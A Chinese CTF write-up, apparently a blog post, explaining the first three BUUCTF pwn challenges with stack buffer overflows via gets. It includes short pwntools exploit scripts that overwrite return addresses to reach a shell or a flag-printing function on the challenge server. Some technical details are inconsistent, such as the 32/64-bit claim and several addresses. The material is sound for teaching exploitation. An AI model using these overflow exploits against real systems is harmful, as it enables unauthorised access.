BUUCTF pwn前三道

前言:做该类型题目,推荐在ubuntu系统上进行,需要的软件有IDA,nc(netcat)  pwntools.

一.test_your_n

打开页面,发现他给了一个文件,先下载,然后启动靶机。

程序分析:64位程序,没有开启任何保护。打开IDA,查看一下源代码

程序分析:main函数中只存在system("/bin/sh")函数,所以nc可直接拿到权限。

使用方法:打开终端输入 nc(ip + 端口号)

cat flag

二.rip

先下文件,启动靶机

程序分析:64位程序,没有开启任何保护。打开 IDA,查看一下源代码

代码分析:函数很简单,就一个puts函数输出,然后gets函数输入到s当中,用puts函数输出出来。

程序关键:存在gets函数,由于存在两个参数,准确来说是gets_s函数

gets_s(buffer,size)函数:从标准输入中读取数据,size表示的最多读取的数量,在这里是argv,没有定义是多大,所以我们就可以无限的输入。但是可以发现buffer就只有0xF字节的大小,输入超过0xF个字节以后,你就会溢出,你会覆盖返回地址。所以如果你先填充字节,然后修改掉返回地址就可以调转到你想要跳转的地方。
存在溢出条件,接下来就是要找后门函数地址了。(为什么/bin/sh在前面,因为64位先传参数,其次找函数的地址就是找system函数以及它的参数)

发现system(“/bin/sh")函数地址,只要我们能控制程序返回到0x40118A,就可以得到系统的shell了

exp:

from pwn import *
p=remote("node4.buuoj.cn",*****) 
payload=b'a'*(15+8)+p64(0x401186+1)  #使文件溢出到函数fun的返回地址
p.sendline(payload)
p.interactive()

cat flag

三.warmup_csaw_2016

先下文件,启动靶机

程序分析 :32位程序,没有开启任何保护。打开 IDA,查看一下源代码。

代码分析:俩个write函数输出,然后sprintf函数利用%p将sub_40060函数地址(其实就是system函数)打印出来放到s里面,然后由write函数打印出来,由于是64位所以write那是9,

很容易发现了 gets函数,显然存在溢出条件,再查看是否存在后门函数。

发现了cat flag,只要我们能控制程序返回到0x000400611,就可以得到flag了。

下面就是找到偏移量,易得为0x40+8

这里与 第二题唯一不同 的就是 第二题是 拿到shell,而第三题是 得到一个命令 cat flag。

exp:

  1. from pwn import *

  2. p=remote('node4.buuoj.cn',27652)

  3. payload=b'A'*(0x40+0x08)+p64(0x40060d)

  4. p.sendline(payload)

  5. p.interactive()

  • 22
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值